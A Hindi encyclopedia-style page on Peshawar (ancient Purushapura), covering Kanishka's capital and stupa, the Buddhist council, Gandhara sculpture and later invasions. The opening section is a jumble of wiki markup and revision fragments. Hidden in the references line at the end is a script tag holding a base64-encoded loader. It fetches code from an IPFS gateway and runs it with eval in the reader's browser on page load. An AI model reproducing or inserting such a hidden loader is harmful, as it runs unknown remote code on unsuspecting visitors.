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*पेशावर का पुराना नाम पुरुषपुर है।
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[[चित्र:Bala-Hisar-Fort-Peshawar.jpg|thumb|250px|बाला हिसार क़िला, पेशावर]]
*यह पहले [[कनिष्क]] की राजधानी थी।
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'''पेशावर''' (प्राचीन 'पुरुषपुर') वर्तमान समय में पश्चिमी [[पाकिस्तान]] का एक प्रमुख शहर है। प्राचीन समय में पेशावर का नाम 'पुरुषपुर' हुआ करता था। ऐतिहासिक परम्परा के अनुसार सम्राट [[कनिष्क]] ने 'पुरुषपुर' को द्वितीय शती ई. में बसाया था और सर्वप्रथम कनिष्क के बृहत साम्राज्य की राजधानी बनने का सौभाग्य भी इसी नगर को प्राप्त हुआ था। पुरुषपुर प्राचीन समय में 'गाँधार मूर्तिकला' का मुख्य और ख्यातिप्राप्त केन्द्र माना जाता था।
*पेशावर [[पाकिस्तान]] का एक शहर है।
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==कनिष्क की राजधानी==
*यह उत्तर पश्चिम सीमा प्रान्त की राजधानी है।
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कनिष्क ने [[बौद्ध धर्म]] की दीक्षा लेने के पश्चात् अपनी राजधानी पुरुषपुर में एक महान् [[स्तूप]] का निर्माण करवाया था, जिसमें लकड़ी का प्रचुरता से प्रयोग किया गया था। स्तूप के ऊपर जाने के लिए सीढ़ियां बनी थीं और ऊपर एक सुंदर काष्ठ मंडप था। इसमें तेरह मंजिलें थीं और पूरी ऊँचाई लगभग 500 हाथ थी। कहा जाता है कि यह स्तूप कनिष्क के पश्चात् कई बार जला और बना था। इस महास्तूप के पश्चिम की ओर कनिष्क ने एक सुंदर एवं विशाल विहार भी बनवाया था, जिसकी भीतरी मंज़िल पर कनिष्क के गुरु 'भदंतपार्श्व' रहते थे।
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==बौद्ध संगीति का आयोजन==
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[[तृतीय बौद्ध संगीति]] कनिष्क के शासन काल में पुरुषपुर में ही हुई थी। जबकि कुछ विद्वानों के मत में यह [[बौद्ध संगीति]] [[कुण्डलवन|कुंडलवन]], [[कश्मीर]] में हुई थी। इसके सभापति आचार्य [[अश्वघोष]] थे, जिन्हें कनिष्क [[पाटलिपुत्र]] की विजय के पश्चात् अपने साथ पुरुषपुर ले आया था। बौद्ध धर्म के उद्भट विद्वान् और '[[बुद्धचरित]]' और 'सौंदरानंद' नामक [[महाकाव्य|महाकाव्यों]] के विख्यात रचयिता पुरुषपुर में ही रहते थे। पुरुषपुर में बौद्ध महासभा के पश्चात् बौद्ध धर्म के दो विभाग हो गए थे-
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अश्वघोष के अतिरिक्त जिन अन्य बौद्ध विद्वानों का संसर्ग पुरुषपुर से रहा था, वे थे [[वसुबन्धु बौद्धाचार्य|वसुबंधु]] तथा उनके सहोदर भ्राता [[असंग बौद्धाचार्य|असंग]] और विरंचि। वसुबंधु, [[चंद्रगुप्त विक्रमादित्य]] (चतुर्थ शती ई.) की राजसभा में भी सम्मानित हुए थे। [[दिङ्नाग बौद्धाचार्य|दिड्नांग]] इनके शिष्य थे। उनका रचित 'अभिधर्मकोश' [[बौद्ध साहित्य]] का प्रसिद्ध [[ग्रंथ]] है। इसकी रचना पुरुषपुर में ही हुई थी। वसुबंधु के गुरु आचार्य मनोरथ भी पुरुषपुर ही के रहने वाले थे। चंद्रगुप्त विक्रमादित्य इनका भी बहुत आदर करता था।
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==गांधार मूर्तिकला का केन्द्र==
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[[चित्र:Peshawar-Museum.jpg|thumb|250px|पेशावर संग्रहालय]]
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पुरुषपुर प्राचीन काल में गांधार मूर्तिकला का प्रसिद्ध केन्द्र था। यह कला भारतीय तथा [[यूनानी]] शैली के सम्मिश्रण से उत्पन्न हुई थी। हेवेल के अनुसार [[गांधार]] की कला सर्वोच्च कोटि की कला नहीं थी और न इसमें भारतीय परम्परा तथा आदर्शवाद के तत्व ही निहित थे। वे इसे यांत्रिक तथा [[आत्मा]] से रहित कला मानते हैं। इस कला का मुख्य सौंदर्य शारीरिक रूपरेखा का कुशल अंकन माना जाता है। गांधार कला में प्रथम बार [[बुद्ध]] की मूर्ति का निर्माण हुआ था। 100 ई. पू. से पहले बुद्ध की मूर्तियाँ नहीं बनाई जाती थीं और उपयुक्त प्रतीकों द्वारा ही तथागत का अंकन किया जाता था। गांधार कला में प्राय: काली मिट्टी, जो स्वात के प्रदेश में मिलती थी, मूर्ति निर्माण के लिए प्रयोग में लाई जाती थी। इन मूर्तियों की शरीर रचना तथा गठन सौंदर्यपूर्ण और यथार्थ है। वस्त्रों, विशेषकर उत्तरीय का अंकन उभरी हुई धारियों से किया गया है।
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परवर्ती काल में पुरुषपुर या पेशावर [[भारत]] पर उत्तर-पश्चिम से आक्रमण करने वाले आक्रांताओं के कारण [[इतिहास]] प्रसिद्ध रहा। 1001 ई. में [[महमूद ग़ज़नवी]] और भारतीय नरेश [[जयपाल]] में पेशावर के मैदान में घोर युद्ध हुआ, जिसमें जयपाल को भारी क्षति उठानी पड़ी। जयपाल इस युद्ध में पराजयजनित अपमान तथा अनुताप को न सहते हुए जीवित ही [[अग्नि]] में कूदकर स्वर्ग सिधार गया। [[मुग़ल|मुग़लों]] के समय पेशावर में मुग़लों का सेनापति रहता था, जो तत्कालीन [[अफ़ग़ान]] तथा सीमांत स्थित 'फिरकों' (यूसुफ़जाई वगैरह) से भारतीय साम्राज्य की रक्षा करता था।
  
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13:12, 26 मई 2018 के समय का अवतरण

बाला हिसार क़िला, पेशावर

पेशावर (प्राचीन 'पुरुषपुर') वर्तमान समय में पश्चिमी पाकिस्तान का एक प्रमुख शहर है। प्राचीन समय में पेशावर का नाम 'पुरुषपुर' हुआ करता था। ऐतिहासिक परम्परा के अनुसार सम्राट कनिष्क ने 'पुरुषपुर' को द्वितीय शती ई. में बसाया था और सर्वप्रथम कनिष्क के बृहत साम्राज्य की राजधानी बनने का सौभाग्य भी इसी नगर को प्राप्त हुआ था। पुरुषपुर प्राचीन समय में 'गाँधार मूर्तिकला' का मुख्य और ख्यातिप्राप्त केन्द्र माना जाता था।

कनिष्क की राजधानी

कनिष्क ने बौद्ध धर्म की दीक्षा लेने के पश्चात् अपनी राजधानी पुरुषपुर में एक महान् स्तूप का निर्माण करवाया था, जिसमें लकड़ी का प्रचुरता से प्रयोग किया गया था। स्तूप के ऊपर जाने के लिए सीढ़ियां बनी थीं और ऊपर एक सुंदर काष्ठ मंडप था। इसमें तेरह मंजिलें थीं और पूरी ऊँचाई लगभग 500 हाथ थी। कहा जाता है कि यह स्तूप कनिष्क के पश्चात् कई बार जला और बना था। इस महास्तूप के पश्चिम की ओर कनिष्क ने एक सुंदर एवं विशाल विहार भी बनवाया था, जिसकी भीतरी मंज़िल पर कनिष्क के गुरु 'भदंतपार्श्व' रहते थे।

बौद्ध संगीति का आयोजन

तृतीय बौद्ध संगीति कनिष्क के शासन काल में पुरुषपुर में ही हुई थी। जबकि कुछ विद्वानों के मत में यह बौद्ध संगीति कुंडलवन, कश्मीर में हुई थी। इसके सभापति आचार्य अश्वघोष थे, जिन्हें कनिष्क पाटलिपुत्र की विजय के पश्चात् अपने साथ पुरुषपुर ले आया था। बौद्ध धर्म के उद्भट विद्वान् और 'बुद्धचरित' और 'सौंदरानंद' नामक महाकाव्यों के विख्यात रचयिता पुरुषपुर में ही रहते थे। पुरुषपुर में बौद्ध महासभा के पश्चात् बौद्ध धर्म के दो विभाग हो गए थे-

  1. प्राचीन हीनयान
  2. नवीन महायान

अश्वघोष के अतिरिक्त जिन अन्य बौद्ध विद्वानों का संसर्ग पुरुषपुर से रहा था, वे थे वसुबंधु तथा उनके सहोदर भ्राता असंग और विरंचि। वसुबंधु, चंद्रगुप्त विक्रमादित्य (चतुर्थ शती ई.) की राजसभा में भी सम्मानित हुए थे। दिड्नांग इनके शिष्य थे। उनका रचित 'अभिधर्मकोश' बौद्ध साहित्य का प्रसिद्ध ग्रंथ है। इसकी रचना पुरुषपुर में ही हुई थी। वसुबंधु के गुरु आचार्य मनोरथ भी पुरुषपुर ही के रहने वाले थे। चंद्रगुप्त विक्रमादित्य इनका भी बहुत आदर करता था।

गांधार मूर्तिकला का केन्द्र

पेशावर संग्रहालय

पुरुषपुर प्राचीन काल में गांधार मूर्तिकला का प्रसिद्ध केन्द्र था। यह कला भारतीय तथा यूनानी शैली के सम्मिश्रण से उत्पन्न हुई थी। हेवेल के अनुसार गांधार की कला सर्वोच्च कोटि की कला नहीं थी और न इसमें भारतीय परम्परा तथा आदर्शवाद के तत्व ही निहित थे। वे इसे यांत्रिक तथा आत्मा से रहित कला मानते हैं। इस कला का मुख्य सौंदर्य शारीरिक रूपरेखा का कुशल अंकन माना जाता है। गांधार कला में प्रथम बार बुद्ध की मूर्ति का निर्माण हुआ था। 100 ई. पू. से पहले बुद्ध की मूर्तियाँ नहीं बनाई जाती थीं और उपयुक्त प्रतीकों द्वारा ही तथागत का अंकन किया जाता था। गांधार कला में प्राय: काली मिट्टी, जो स्वात के प्रदेश में मिलती थी, मूर्ति निर्माण के लिए प्रयोग में लाई जाती थी। इन मूर्तियों की शरीर रचना तथा गठन सौंदर्यपूर्ण और यथार्थ है। वस्त्रों, विशेषकर उत्तरीय का अंकन उभरी हुई धारियों से किया गया है।

इतिहास

परवर्ती काल में पुरुषपुर या पेशावर भारत पर उत्तर-पश्चिम से आक्रमण करने वाले आक्रांताओं के कारण इतिहास प्रसिद्ध रहा। 1001 ई. में महमूद ग़ज़नवी और भारतीय नरेश जयपाल में पेशावर के मैदान में घोर युद्ध हुआ, जिसमें जयपाल को भारी क्षति उठानी पड़ी। जयपाल इस युद्ध में पराजयजनित अपमान तथा अनुताप को न सहते हुए जीवित ही अग्नि में कूदकर स्वर्ग सिधार गया। मुग़लों के समय पेशावर में मुग़लों का सेनापति रहता था, जो तत्कालीन अफ़ग़ान तथा सीमांत स्थित 'फिरकों' (यूसुफ़जाई वगैरह) से भारतीय साम्राज्य की रक्षा करता था।


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टीका टिप्पणी और संदर्भ

ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 566 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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